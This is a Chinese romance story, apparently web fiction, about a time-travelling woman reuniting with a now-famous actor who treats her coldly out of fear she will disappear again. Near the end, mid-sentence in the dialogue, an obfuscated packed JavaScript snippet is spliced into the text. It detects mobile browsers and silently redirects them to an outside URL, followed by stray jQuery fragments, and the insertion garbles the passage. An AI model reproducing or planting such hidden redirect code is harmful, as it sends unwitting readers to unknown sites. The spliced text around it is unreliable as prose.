谢安琪再次醒来的时候，窗外透进来的光线有点冷，夹杂着一种怪异的潮湿。
她慢慢坐起来，看着眼前的一切，愣了很久，才意识到自己又回到了过去。她看着床边的杯子，熟悉的旧水杯，杯底结着一层薄灰，像是很久没人碰过。还有屋塔房四处堆积的尘土、略显陈旧的家具，她抬头望向天花板，那层熟悉的裂纹还在，心里像被一根线悄悄拉紧。
‘我回来了？’谢安琪忍不住皱眉，她起身走到窗边，看见对面那条狭窄的小巷，晨光斜斜落下，照出街上那些来回搬运便利店的车和兼职生们，偶尔有卖酸奶的阿姨骑着小车缓缓经过。
一切都像一场重新播放的老录像，但谢安琪看着周围，很难找东西去确定时间，直到看到屋子里留着的按键手机，她拿着手机充电，直到充电完成看到时间，谢安琪确定这里距离她上次来，已经过去了两年。
谢安琪走出屋塔房，穿过小巷，在街角停下来，墙上贴着一张褪色的电影宣传海报，最下面的演员表里，她看见了郑禹胜的名字。
那一刻，她胸口微微发紧，两年前，他还在便利店打工，在她几次说时间旅行的事情时，会用略带孩子气的口吻冲她抱怨：“要是再不回来，我就去别的时间线找你。”
可现在，他已经成为电影男主角，站在更远更高的地方。她盯着那张海报，指尖沿着他名字的每一个笔画滑过去，呼吸不由地慢了下来。
心底忽然有一阵轻微的凉意。她轻轻抿唇，努力让自己镇定，转身准备回屋塔房，心里一半是期待见到他，一半又隐隐有些发怵，回到屋塔房的傍晚，她在楼梯口听见有人上楼的脚步声。
谢安琪停住动作，整个人几乎绷住，转角处，一个高挑的身影出现，肩膀上搭着外套，手里拿着一杯咖啡，动作看似随意，却又充满克制。他抬眼的瞬间，视线和她撞在一起。
两人谁都没有先开口。
她张了张嘴，却没能发出声音，只是下意识想走近。郑禹胜先移开了视线，脚步微顿，却很快继续往上走，经过她身边时，鼻尖带过一阵微弱的咖啡香。
他的呼吸明显一紧，但背影没有任何停留，她听见自己心底砰的一声，像有什么东西碎开了，等他走远后，她靠着墙，小心地呼出一口气，指尖微微发凉。
……
第二天，谢安琪去附近市场买了一点青菜和面，准备简单煮一碗汤面。
刚回到屋塔房门口，听见有人在楼下喊“禹胜！你又回来了？好久不见了，最近有去演什么新的戏吗？” 她愣住，慢慢转身，看见郑禹胜正站在楼下，帽檐压得很低，手插在裤兜里，看起来比记忆中更高更瘦，气质也更锋利。
听到朋友的喊声，他懒得回应，只是略微点了下头，随后抬眼，视线再次和她撞在一起。这次，她鼓起勇气，抬手微微挥了一下：“好久不见。”
他眉心微不可察地皱了下，视线冷冷扫过她，却没说一句话，脚步也没停。她的手僵在半空，最后慢慢放下。
周围行人走过，没有人注意到这一幕。谢安琪咬着下唇，眼眶有点热，却忍住没有掉泪。
夜里，她把剩下的青菜和面煮成汤面，坐在木桌边吃了几口，却觉得味道比任何时候都要寡淡。
窗外的风吹进来，她想起以前郑禹胜总会笑着抢她碗里的面，说“这什么怪味，你是不是把盐当糖了？”想到这里，她停下筷子，手指紧紧攥住桌沿。
……
傍晚，楼下传来搬东西的动静，谢安琪悄悄走到窗边，隔着昏黄的街灯，看见郑禹胜拎着两个箱子，走进屋塔房旁边那间空房。
那一瞬间，她突然明白，他还是回来了。也许他嘴里说着冷漠的话，脚步里却藏不住想靠近的渴望。
屋顶上的风依旧冷，但她心底那点柔软，悄悄被某种小小的火焰点亮。
谢安琪在屋顶晾衣服，一件件旧衬衫被风吹得轻轻摆动，阳光浅浅洒在水渍还未完全干透的布料上。她抬头时，正好看见对面房间的窗帘被人轻轻拉开。郑禹胜站在那里，靠在窗边，手里还拿着刚拆封的剧本。
两人四目相对。她努力扬起嘴角，朝他轻轻挥了一下手，试图像之前那样轻松打招呼。
郑禹胜目光停顿了一瞬，像是在压抑什么，随后用力拉上窗帘，动作显得有点急。谢安琪的手停在半空，最后缓缓垂下。
心里像是被风吹过一片空旷，她缓缓呼吸，却发现眼眶还是热了。她转身收起最后一件衬衫，安静地抱在怀里，低头回到屋子里。
谢安琪也不知道自己这次能呆多久，但还是清扫了屋塔房。去超市采购了很多东西，回来的时候刚到二楼拐角，就看见郑禹胜提着一袋刚买回来的面包和即食汤。
狭窄的楼梯让他们不得不靠得很近，她停下脚步，看着他。
“需要帮忙吗？”谢安琪小声问。
“走开。”他低声回了一句，没看她，只是微微偏过身。她咬了咬嘴唇，挤过去时，手指不小心碰到他的袋子，袋子里的面包轻轻晃了一下，差点掉出来。
她慌忙伸手扶住，迅速帮他把袋子重新提稳。
郑禹胜目光紧盯着袋口，没有说话，指节微微收紧，连呼吸也慢了半拍。等她走过他身侧，他没有立刻走上去，而是缓了几秒，才继续抬脚往上。背后，谢安琪停在楼梯下的转角，听着他逐渐远去的脚步声，抬起头，眼里闪过一点无奈和难过。
……
夜里，她失眠，在小屋里来回走动。她忽然走到窗前，拉开窗帘，看到对面郑禹胜房间的灯还亮着。隔着几米远，她看见他正伏在桌上写东西，额前的头发被小台灯照得发亮。
郑禹胜停下笔，抬头看向窗外，似乎是感受到她的目光。
他们对视了一秒，谢安琪想抬手，可指尖只是轻轻抖了一下，最终没有动作。他似乎要说什么，唇微微动，却又低下头，拉上了窗帘。
灯光透过窗纱，变成一团朦胧的暖色。她慢慢靠在窗边，抱住自己，闭上眼。在那一刻，她忽然觉得，比起他嘴里说的冷漠，他的沉默更让人难受。
外面风声呼啸，吹动窗框，发出轻轻的嘎吱声，像是有谁在门外等她。
她想起刚来这里时，郑禹胜用很孩子气的语气冲她喊“快点下来，我帮你买了甜豆奶”。
而现在，她只能听见风声，心跳却像当时一样慌乱。她放下笔，手背在桌面上轻轻摩挲，闭上眼，想象他此刻的表情。那种别扭的、笨拙的、即使嘴硬却忍不住靠近的样子，正是她想见的。可谢安琪也明白，他现在的自我保护像是一层厚厚的壳，她只能一点点等，等他打开。
有一晚，谢安琪坐在屋顶喝温水，风吹乱她的头发，她用手抚顺，却一直低着头。
楼道里忽然传来轻微的脚步声，她抬头，看见郑禹胜缓慢走上来。他看到她的瞬间，脚步明显顿了一下，似乎在犹豫是否转身。谢安琪轻轻站起来，把杯子放在一旁。
“你来了……我记得你喜欢吃这个，要吃吗？”她轻声说，手里拿着一包吃的给郑禹胜，郑禹胜咬着后槽牙，表情里藏着克制。
“那是很久以前的事了，我现在不喜欢了。”他声音低沉。
“可对我来说，好像昨天。”
风吹过他们之间，吹开积攒已久的空气。谢安琪走近一步，呼吸有点乱，眼里有湿意：“对不起，那天我没能告诉你，我不是想走，我也不想消失。”
他抿唇，眉头紧蹙，嗓子动了动，却没发出声音。他们之间，只剩下月光和那声几乎被风吹散的对不起。郑禹胜搬回来后的几天，屋塔房楼道里多了许多生活的细碎声响。
有时候是深夜回来的钥匙声，有时候是清晨鞋跟轻点过楼梯的声音。谢安琪在屋里整理书本时，总会不自觉停下动作，屏住呼吸，等那些声音慢慢走远。她在心里暗暗想，他是不是也和自己一样，每一步都在偷偷留意对方。
每当她拉开门，想在楼道里偶遇时，总会碰见他一脸冷淡地抱着剧本，背脊挺直地经过。她会假装若无其事地说一句早上好，从一开始的不搭理，变成大多只是轻轻“嗯”一声，步伐却慢下来，像是习惯性地等她先下楼。她看见他耳根后面总会泛出一点浅红。那个小小的颜色，是她每天唯一的安慰。
……
午后，屋塔房顶晒着被单和衣服，白布在风里荡着，像一排无声的旗帜在爱情里先做了决定，谢安琪把最后一件衬衫挂上去，转身的时候，看到郑禹胜正靠在楼梯口的栏杆上，低头看手机。
他抬头的那一刻，目光一闪而过，却没有退开。
“天快黑了，衣服可能收不干。”郑禹胜忽然开口。
“没关系，风大，也许会干得快一些。”谢安琪回答。
郑禹胜微微动了动手指，像是想说什么，最终只是别过脸，把手机重新收进口袋里。她看着他转身回房，心底像被一根线轻轻拨了一下。或许，有些关心，是无法用言语表达的，只能留在这些小小提醒里。
晚上，谢安琪提着买回来的米，刚走到楼梯中段，脚下一滑，险些摔倒。她惊呼一声，还没站稳，就被一只手猛地拉住。她抬头，看到郑禹胜皱着眉，手臂还紧紧抓着她的手腕，力道大到让她感觉到一点疼。
“你看着点脚下。”他的声音低哑，语气里带着明显的责备。
“我……我没注意。”她结结巴巴地说。
他松开她的手，盯着那包米看了一眼，嘴角微微下沉，像是忍了很久的脾气终于要爆发。
“以后再这么不小心，我不会再帮你。”他说完，转身就走上楼。
谢安琪愣在原地，听着他脚步声消失，过了很久，才慢慢抱紧怀里的米袋。心底那种被轻轻刺痛的感觉，慢慢流进每一根指尖。
郑禹胜回到房间后，把门关上，靠着门背后站了很久。指尖还残留着刚才握住她手腕的余温，心口像有一团烧得很慢的火。他走到窗边，轻轻拉开一点窗帘缝，透过那道小小的视线，看到谢安琪还站在楼道里，她低着头，好像在调整呼吸，过了很久，才缓慢走回屋塔房。
郑禹胜把窗帘重新放下，抬手捂住额头，指尖因克制而微微发抖。他不是不想靠近，只是害怕，一旦再靠近，就没有退路。她的存在，对他来说，就像悬在夜空的月亮，光很柔，却让人无法忽视。
夜里，他房间的灯亮着，隔壁她的房间也透出一丝微弱的灯光。他隔着墙，听见她似乎在翻书或者轻声哼歌，声音断断续续，却奇怪地让他觉得安心。他靠在床头，把剧本摊开，却一页也看不进去。
手指在剧本边缘一遍遍摩挲，像是借此平复心底翻涌的情绪，忽然，他轻轻开口，声音小得连自己都听不清。
“再走的话，我也不会再等了……”说完，他闭上眼，把书轻轻合上，但心里知道，只要她出现了，其实自己还是会回来。夜风吹过窗缝，房间里那盏小灯照着他微微蹙起的眉，像是一道被困住的月光。
夜晚，谢安琪心血来潮，煮了一碗汤面，端到楼顶去吃，风吹得很大，她用手捂住碗边，小口吹着热气，喝得极慢。她想起很久以前，两个人也这样一起坐在屋顶，一碗面总要抢着吃，最后她总是被他嫌弃吃得慢。
吃到一半时，她听到身后有脚步声，谢安琪没有回头，只是继续慢慢吃，直到听见他在背后冷冷说：“风这么大，谁让你上来的？”
她没答话，只继续喝汤，他走过来，站在她身侧，看着那碗快要凉掉的面，皱了皱眉：“这种东西，凉了不好吃。”
“我知道。”她小声说，声音几乎被风吹散。
他看着她，欲言又止，最终只是转身走开，谢安琪抬头望着他离开的背影，眼睛酸胀，却露出一点点轻到几乎看不见的笑。
第二天清晨，天气突然下雨，她出门时，没有带伞，只能用书包挡着头快步走到街角的小店，回来的时候，雨下得更大，她躲在便利店门口，犹豫要不要冲回去。
这时，一把黑色伞忽然出现在她头顶，谢安琪抬头，看见郑禹胜表情很冷，但手腕明显因为撑伞而用力。
“走吧。”他低声说。
谢安琪跟在他身边，伞几乎全部偏向她那边，他的肩膀被雨水打湿，衣料贴在皮肤上，她忍不住伸手去拉伞柄，却被他一下打掉。
“别动。”他的声音比雨还低沉。那一瞬间，她的心被紧紧攥住，连脚步都放得很轻。回到屋塔房门口，她正想开口道谢，他已经转身准备上楼。
“郑禹胜……”她叫住他。
他停住脚步，没有回头，只微微偏了偏头。
“谢谢你。”她的声音很轻。
他僵了两秒，肩膀微微颤动，却没有回答，快步走上楼。
谢安琪看着他消失在转角处，才慢慢呼吸。身上湿透的外套被她抱在怀里，她闻到雨水混着他身上沐浴乳的味道，心里慢慢涨满，又酸又暖，她把额头轻轻贴在门上，闭着眼，小声说：“谢谢你，还是会回来。”
淋雨后身体也变得不舒服，谢安琪蜷在被子里，听到有人在台上喊着台词，听到观众笑声和掌声。她忽然想起郑禹胜在排练场里练习发声的样子，他总是一个人默默练习，每次练完会躲到后台一角，背着所有人大口喝水，眉心还在绷着，想到这里，她不由地笑出声。
那笑声很轻，像是试探，也像是自我安慰，她看向窗外，灯火零星，屋顶的风声被收音机里的笑声渐渐压住，终于平静下来。
快要入睡时，她听见门外楼道传来轻轻的脚步声，脚步声不急，也没有太重，像是有人在门口徘徊，谢安琪屏住呼吸，听着那声音从她房门口停了几秒，然后继续往上走。
她想起那天他冷着脸拉住她手腕的样子，也想起楼顶上那碗汤面被风吹凉后他别过头的背影，她轻轻拉起被子，抱在胸口，眼底慢慢湿润。
风从窗缝里灌进来，她轻声说了一句：“你会记得我，对吧？”没有人回应，但她还是笑了，带着一点难以言说的心疼和满足。
……
日子就这样，在一九九四年的日子总是让她觉得没有那么习惯，或许是还没有习惯年轻的他突然变得冷漠起来？傍晚，她在屋顶收衣服时，风忽然大了起来，一条白色的毛巾被吹得飞向楼下。
她愣了一秒，急忙跑到栏杆边看，却只看见楼下空荡的水泥地，谢安琪正想下楼去捡，刚走到楼梯口，就看见郑禹胜正拎着那条毛巾往上走。风把他头发吹得凌乱，他抬头时，表情有点恼，但目光里透着无法掩饰的柔软。
“你怎么总是这么不小心。”他把毛巾塞到她手里，声音冷冷的。
“谢谢……”她捧着毛巾，声音小到几乎听不见。
郑禹胜没再说什么，转身要走，却在下一步时顿住，她站在他背后，看着他肩膀微微抖动，似乎在压抑什么情绪，她轻轻抬起手，想要伸过去，可终究只是僵在空中，没碰到。
夜里下起小雨，敲打屋顶的声音密集而细碎，谢安琪窝在屋里，看着那条毛巾，还带着他手心残留的温度。她心里涌出一种说不出的冲动，想跑到楼下去告诉他，自己真的很想再多靠近一点，但她只是抱着毛巾，静静坐着。
窗外的雨像是替她把那些未说出口的情绪敲在屋檐上，敲进心底，她轻轻对着窗外低声说：“如果下一次我再消失，你一定要再找我。”
后来，她听到楼道里传来他的脚步声，赶忙跑到门边，门还没完全打开，他就抬头看见她，表情先是错愕，随即又冷了下来。
“我……我想谢谢你昨天帮我捡毛巾。”谢安琪把话题递出去，手指微微颤抖，对于他的回答，心里带着期待，又担忧他会不搭理自己，郑禹胜没有接话，只是盯着她，喉结上下滚动了一下。
“以后不要再这样了。”他终于开口，声音低而闷，“这算什么理由？”
谢安琪愣了愣，本想开口说“别走”，可那句话最后卡在喉咙里，化成一声很轻的呼吸。他看着她，似乎是没有等到什么想听到的，眼底像有一片阴影闪过，最终只是转身，快步上楼。
但后来她下楼扔垃圾，发现门口地上有几道湿漉漉的脚印，形状和他的鞋码一模一样。她蹲下来，眼神轻轻划过那些还未干透的水印，脑子里忽然闪回到很多年前的画面，那个总爱跟在她后面、被她揶揄太黏人的年轻男孩。
她抬头望着楼梯口的黑暗处，鼻子一阵酸，连呼吸都乱了，谢安琪想，他其实一直都在看着她，只是装作没有在意。她收回手，慢慢站起来，把那几道脚印深深记在心里，像是记住了他一次又一次试图靠近却又躲开的脚步声。
……
那夜，谢安琪坐在床边，双手抱着膝盖，额头抵在臂弯里，呼吸很轻很浅，她终于明白，他的冷淡只是他能想到的唯一保护方式。他害怕她再一次消失，害怕那种无声的告别，害怕那份不能确认的未来。
她抬起头，看着屋顶反射的微光，嘴唇动了动，像是在回答一场无声的提问。
“我无法承诺我不会再走了。”她轻声说，“但是，我们本来不就在一起了吗？”
那句话像是一种对自己、也是对他，最坚定的允诺，谢安琪缓缓躺下，轻轻合上眼。大概是心里藏着事情。谢安琪睡得很浅。她梦见自己在屋顶等人，风很大，天黑得看不见边。
梦里，她始终在等，却没等到谁，突然一阵凉意把她惊醒，她发现自己竟不知什么时候走到了屋顶。夜风刺骨，她只穿着一件薄毛衣，脚上还是室内拖鞋。她走到屋顶边缘，想坐下休息，却一脚踩到湿滑的砖缝，整个人踉跄向前。
心底瞬间浮出一股冷意，她来不及发出声音，身体已经失去平衡，她的手指胡乱抓住身边的铁栏，但力量根本不足以支撑，那一瞬间，她想到的不是疼痛，而是那句未能说出口的别走。
就在她快要摔倒的一刻，一只手猛地抓住她的胳膊，用力把她往后拉。
力道大到让她的肩膀一阵发麻，但她稳住了，等她抬起头，看见郑禹胜正紧紧握着她，眼睛里有一闪而过的慌乱和压抑的怒意。
“你是疯了吗？！”他的声音嘶哑，震得她耳膜微微发疼。
谢安琪张了张嘴，却发不出声音，只能看着他，他把她整个抱进怀里，动作用力得像要把她揉进骨血。胸口的起伏越来越剧烈，她感觉到他的颤抖，那是比风更猛烈的、不安的颤抖。他把她拉回屋顶中心，放到那张旧木椅上，蹲下来看着她。
“你是不是以为每次都有人来接你？！”
“你是不是觉得你可以一次又一次消失，然后再回来？！你以为我会一直站在这里等你吗？！”
他的声音很重，每一个字都带着浓烈的愤怒和委屈，像是长久被压抑的洪水，终于找到了出口，谢安琪想抓住他的手，但他猛地甩开，背过身，手狠狠抹了一把脸。
“我不管了！”他低吼，声音几乎要碎开，“以后你再走，我也不会再找你了！”
她听着，心底一阵一阵发紧，整个人抖得更厉害，谢安琪终于忍不住，扑过去从后面抱住他的腰。
“对不起……对不起……”
声音小得像风里碎掉的纸片，却一遍一遍地挤出来，谢安琪的脸埋在他后背，泪水打湿了他薄薄的衬衫。郑禹胜的身体僵了很久，手指缓慢抬起，却停在半空，迟迟没有落下。
“我不是……我不是想走……”她啜泣着，“我没有办法控制……每一次都是被迫的……我也很害怕……”
那些被压在心底的话，终于像潮水一样涌出，他缓慢地转过身，脸上写满了疲惫与难以言说的脆弱，她还在哭，手还紧紧揪着他的衣摆。
“对不起……”她哭着重复，声音已经快要消失。
郑禹胜深吸一口气，手终于落到她后颈，把她整个人拉到自己怀里。
“别说了……”他的声音低下去，像是一句轻轻的恳求。
她抬头，泪水糊在睫毛上，眼睛红得像被风吹过的花瓣，谢安琪轻轻开口，声音颤抖却坚定：“如果以后……如果以后你再看到我，无论在哪条时间线，无论我认不认识你，一定要找我，好吗？”
他盯着她，喉结微微上下动了动，眼里闪过一片湿意，过了很久，他低声嗯了一声，带着颤抖，却无比坚定。她靠在他怀里，风从屋顶吹过，带走了屋檐上积着的水珠，发出细小的滴落声。郑禹胜的手指缓缓收紧，像是害怕一放开，她就会消失不见。谢安琪的呼吸依旧急促，她的手一直攥着他胸前的衣料，指尖已经因为用力而发白。
“你别走……”他忽然低声说，声音很哑，却清晰得像一记心跳。
她抬起头，看见他的眼角微红，神情中那股倔强逐渐溃散，谢安琪轻轻应了一声，哽着喉咙：“嗯，我不走。”
他们贴得很近，呼吸都缠在一起，像是终于找回了属于彼此的气息，郑禹胜低下头，额头抵在她的额头上，他几乎是用气音喊出她的名字：“安琪……”
这是第一次，他主动这样叫她，她的眼泪又涌了出来，手抬起，轻轻抚过他的侧脸。
“谢谢你……还愿意等我。”她颤抖着声音说。
他没有回答，只是轻轻闭上眼，呼吸混在她脸侧，带着一点点咸意。那一瞬间，所有尖锐、所有怀疑、所有被时间拉扯的裂缝，都在这个靠近里安静下来。
他们回到她的屋塔房时，夜已经很深，郑禹胜一直半抱着她，像是怕她再出什么意外，他帮她找出毯子，盖在她的肩膀，动作比任何时候都要慢。
“以后别再随便跑上去。”他低声说，像是命令，又像是在哀求。
“好……”她轻声答，喉咙还有哭过后的沙哑。
郑禹胜抬头看她，神情缓缓变得更柔和，他伸手，帮她理了理乱掉的发尾，指尖在她发丝间停了几秒，像是不舍得放下，屋子里只开着一盏昏黄的小灯。谢安琪坐在床沿，郑禹胜站在她面前，看着她，眼神柔得几乎要融化，过了好一会儿，他缓缓弯腰，双手撑在她两侧，把自己缓缓靠近她。
“以后，不许再说再见。”他低声说。
“好。”她几乎是立刻回答，声音轻到只有他们两人能听见，郑禹胜低头，轻轻吻上她的额头，动作很慢，像是确认，也像是一场等了很久的接纳。吻结束后，他没有退开，而是把额头贴着她的，呼吸缓慢而沉。
“我会记住你说的话。”他轻声说，“我会找你，无论在哪条时间线上。”谢安琪抬头，看着他近在咫尺的脸，心底忽然生出一股说不出的坚定。
“我会等你，无论在哪里。”她回。
屋外的风还在吹，带着屋顶雨水的味道。他们安静地靠在一起，谁都没有再说话。那一刻，时间像是突然失去了重量，只剩下两个人缓缓起伏的呼吸声。就算未来再错乱，记忆再错位，他们都知道，这一刻，是属于彼此的永恒，谢安琪轻轻推开他一点，指尖缓慢摩挲他手背。
“你以后，会不会还是会怪我？”她声音很轻，几乎要被夜里的风声淹没。
“会。”他没有犹豫，低声回答，谢安琪愣住，看着他，呼吸停滞了一秒。
“我会怪你，怪你不告诉我什么时候回来，怪你每次都突然消失，怪你让我一个人习惯等待。”
她低下头，眼角缓缓滑落一滴泪，可下一瞬，他抬手轻轻托住她下巴，让她抬头。
“但我还是会等你。”他看着她，眼神坚定，“就算怪你，我也只能选等你。”
他转身去厨房，找出小锅，烧了一壶水。等水滚的时候，他站在灶前，低着头，指尖有些颤，谢安琪悄悄从后面走来，看着他紧绷的肩膀，伸出手抱住他腰。
“我没走，我还在。”她的声音哑得像是哭过很多遍。
他停了一下，缓缓把火关掉，转身回抱她。
“坐下，我帮你泡点茶喝。”他说，谢安琪乖乖坐到桌边，看着他倒水、找杯子，动作慢得像是怕吵醒一只睡着的小动物。当他把热水放到她面前时，她抬头，眼里盛着光，她捧着热水杯，掌心慢慢暖和起来。
“你还记得第一次我们见面的时候吗？”谢安琪忽然问。
“记得。”他回答得很快。
“那时候，你总是会在便利店偷偷看我，以为我不知道。”
“你都知道？”他微微一愣。
她轻轻点头，笑着：“我那时候就在想，这个人怎么那么别扭。”
他没说话，只是低头笑了一声，手指在桌面轻轻敲了两下。
“我别扭，但一直只有一个念头。”他说。
“什么？”
“想靠近你，想把你留下来。”他说这句话时，声音几乎听不见。
她的眼神忽然温柔下来，笑得眼角弯成一条细线，他们一起把杯子洗好，他走到窗边，拉开窗帘。外面月亮很亮，挂在黑蓝色的天空上，像是为他们专门点亮的灯。谢安琪走过去，靠到他身侧，看着月光落在屋顶和小巷之间。
“如果未来再有很多条线，你还会找到我吗？”谢安琪轻声问，随后转身看着他。
“会。”郑禹胜不假思索地答。
“那要是我不认得你呢？”
“那我就再一次让你爱上我。” 谢安琪转头看他，鼻尖微红，却忍不住笑了。
“真狡猾。”她低声说。
“那也只能是你。”他轻声回，抬手碰了碰她的额头。
……
夜越来越深，风也停了下来，谢安琪慢慢走回床边，躺下时，郑禹胜走过来，弯下身帮她把被角掖好，她拉住他衣摆，轻声：“今晚别走，好不好？”
他愣了愣，随后轻轻嗯了一声，脱下外套，躺到她身边，屋子里只剩下他们的呼吸声，像两条河流，缓缓汇成一个安静的湖面。谢安琪把脸埋进他胸口，声音闷闷地传来：“以后，再也不要让我等那么久。”
“好。”他轻轻拍着她的背，声音像夜里最温柔的风。
他们就这样靠在一起，直到夜完全将他们包围，世界外的一切都与他们无关，那一刻，只有这条线，只有这两颗紧紧相贴的心。
夜里风吹得很急，屋塔房的窗户被吹得嘎吱响个不停。郑禹胜洗完澡出来，头发还湿着，随手用毛巾胡乱擦了两下。他看了一眼她那堆叠乱糟糟的纸，忍不住走过去，把她的笔拿走。
“这么晚怎么还在做什么？”
谢安琪抬起头，嘴角带着一点疲惫的笑：“我在练字。”
“太晚了。”他皱着眉，动作却很轻，把纸整齐叠好，放到桌角，“别再写了，早点休息不好吗？”
“没事的。”她笑着回嘴，声音却带着软软的撒娇意味，郑禹胜没接话，只是转身去厨房，把水壶拿出来烧水。几分钟后，水声滚烫地响起来，屋子里起了一层浅浅的水汽，他拿出一包方便面，又从冰箱里找出一颗青菜，笨拙地洗了几下。
“你不是说晚上不吃宵夜吗？”谢安琪站到厨房门口，看着他小心撕面包调料包的样子，忍不住问。
“我饿。”他语气简短，但手里的动作依旧很认真，甚至把面条煮得特别小心，怕煮碎了。
面端上桌后，他装作若无其事地把碗推到她面前，自己则只拿了一双筷子，在锅里挑了几根面随意夹着吃。
谢安琪捧着那碗面，低头闻了一口，忽然鼻尖发酸。
她小声说：“这碗面真香。”
“少废话，快吃。”他别开脸，盯着桌上的便签堆，不敢再看她。
夜里的屋塔房安静极了，只有她轻轻的吸面声和他偶尔敲碗边的声音。
吃完面后，她走到收音机旁边，拧了几圈开关，忽然听到一个老电台的夜谈节目。
音质有点糊，夹着滋滋的电流声，像是被困在时间里的另一种呼吸。
她抱着一只小抱枕，窝在矮桌旁，安静地听着。
郑禹胜走到她身后，没出声，只是坐下来，把她轻轻揽进怀里。
主持人在广播里缓慢地说着：“如果可以再选择一次，你会把什么留在身边？”
谢安琪眨了眨眼，看向电台，又轻轻看了看他。郑禹胜没有开口，但手在她腰间轻轻收紧了一点。那一刻，广播里的问题仿佛只对他们发问，空气里浮着微小的答案，细碎而明亮。
……
谢安琪靠在门框上，看着他认真擦拭的背影，心底涌上一阵莫名的酸楚。
角落里有一台老电扇，因为太久没用，叶片上积了一层灰。郑禹胜蹲在地上，一点点拆开外壳，用湿毛巾擦净每一片叶子。
“你干嘛这么认真？”她忍不住问。
“吹坏了怎么办？”他头也不回，“你又怕热。”
“可……它那么旧了，能不能用都不知道。”
“总得试试。”他说完，又专注擦最后一块灰，动作慢得像是对待什么珍贵的东西，她走过去，蹲下身，也跟着一起擦最后几根栅栏。
“那以后坏了呢？”她问。
“再修。”他说得很轻。
“修不好呢？”
“那就陪着它，不让它丢掉。”这句话说完，他抬头看她，眼神正而温柔。那一瞬间，她忽然很想把他紧紧抱住，可她只轻轻伸手，帮他理了一下额前湿漉漉的碎发，两个人贴得很近，安静到只剩彼此的呼吸声。
……
最近几天，郑禹胜变得异常敏感，谢安琪只要稍微走出屋子久一点，他就会在屋顶或者楼道里等着，见到她的时候，脸色总是很冷。
那天晚上，她只不过去附近的便利店买了一瓶牛奶，回来晚了二十分钟，刚到楼道，就看见他靠在墙边，双手插在外套口袋里，目光阴沉，像是随时会暴风雨一样。
“去哪了？”他低声问。
“便利店，买牛奶。”她举了举手里的袋子，笑得很勉强。
“这么久？”他的声音带着锋利的冷意。
“人多，排队……”她刚解释一句，他就打断了。
“以后不许自己出去。”他抬起头，盯着她，声音生硬。
她怔了怔，手里的牛奶晃了晃，眼里闪过一瞬的不安和微弱的反抗。
“我只是买个牛奶，又不是离开你。”她小声说。
“你要走的时候，也没提前告诉过我。”他忽然抬高了音量，脸上是一种陌生的冷硬，像是压了很久的东西忽然炸开。
谢安琪下意识退了一步，撞到墙壁，她抬起头，看着他近在咫尺的脸，呼吸乱了。
“我没有……我没有选择……”她结结巴巴地说，声音颤抖。
“那现在呢？你是不是还会再
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15884156|169893||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
走？”他逼问，声音粗粝得几乎要把空气划破。
她盯着他，眼里一点点浮出水光，嘴唇微微颤动，却没有回答。郑禹胜看着她的眼泪，神情忽然变得空白，接着像是被狠狠击中，后退一步，背靠着楼梯口的栏杆，额头低垂，指节绷得发白。
“你走吧。”他低声说，声音几乎听不见。
她张着嘴，想伸手拉他，却又收了回来。
……
郑禹胜的情绪，谢安琪可以理解，或许对于他而言总是一直看着黑漆漆的天空，期待着她出现，期待着她不会离开，但她总是出现了又必然会离开，她独自坐在屋塔房的屋顶，脑子里全是他刚才那句“你走吧”，耳朵像是被那句话堵住了，什么都听不见。
谢安琪缩成一团，忽然想起第一次见他的时候，他也总是用那种笨拙又骄傲的方式躲开她，她明白，他的生气和控制欲，不过是另一种害怕被丢下的表现。
可她也有自己的恐惧，她怕无法再见到他，怕失去这条线，怕再也没有机会告诉他自己其实一直想留下，夜深了，屋顶的风渐渐停下来，她抱着膝盖，闭着眼，轻轻说了一句：“对不起……”
快到凌晨，她迷迷糊糊地听到楼梯上有轻微的脚步声，接着，一只厚重的外套被轻轻披到她肩上。谢安琪抬头，看见郑禹胜蹲在她面前，眼神里有未退去的红意，呼吸明显压抑着什么。
“你不睡觉吗？”他的声音有些颤，注意到他的声音，谢安琪怔怔看着他，喉咙哽得说不出话。
“冷成这样，为什么不回去？”他问，语气急躁却压着分寸。
她低着头，指尖紧紧揪着毯子一角，声音低到几乎听不见：“因为……我怕回去你不在了。”
听到这句话，他整个人僵住，像是被某根无形的线狠狠勒住了喉咙，郑禹胜抬手，迟疑着落到她发间，缓缓把她抱进怀里。风从他们身后吹过，带走那句话语里的冷意，只剩下胸腔里被她哭声揉软的心跳。
“我不知道该怎么做。”他低声说，声音粗哑，“你走了那么多次，每次我都不知道什么时候还会回来，我怕，怕得要疯了。” 谢安琪抬头看他，眼泪滑下来，嘴唇轻轻开合：“我也怕，我怕每一次回来你都不在了。”
郑禹胜闭着眼，额头靠在她额头上，手掌慢慢收紧，仿佛要把她贴进身体里。
“以后，不许再走。”他说。
“可是，我控制不了……”她哭着说，声音细碎得像被风吹开的纸片。
“那就让我来控制。”他几乎是咬着牙说，声音低得像是在跟自己妥协，夜快要亮的时候，两人还坐在屋顶，身上裹着那件外套。她靠在他肩膀上，呼吸终于渐渐平缓下来。郑禹胜转过头，看着她已经睡着的脸，抬手轻轻抚过她发尾，动作小心而缓慢。
“就算你走，我也会找你。”他低声喃喃，像是对她说，也像是对未来说，他弯下身，轻轻吻了吻她的眉心，那一下温柔到极致，像一片被悄悄落下的月光，郑禹胜终于明白，比起控制，她真正需要的是有人在她想回来时，依旧在那里，风渐渐停了，月亮在高空孤独地挂着，周围零星有几颗星子，稀稀落落。
谢安琪醒过来的时候，天已经泛着微亮。她眨了眨酸涩的眼睛，看见郑禹胜还坐在她身边，背对着她，肩膀微微起伏，她伸出手，轻轻拉住他衣角。
“你怎么还不睡？”她声音很轻，刚醒来时带着点沙哑，郑禹胜转过头，看着她，眼睛里有明显的倦意，却透着一层宁静。
“怕你醒来，我不在。”他说。
她怔了一秒，笑了，笑容里带着一丝心疼。
“那你要困坏了。”她伸手，轻轻帮他把外套拉紧。
郑禹胜看着她，忽然弯腰，把额头抵在她肩上，呼吸打在她颈侧，带着一点温热。
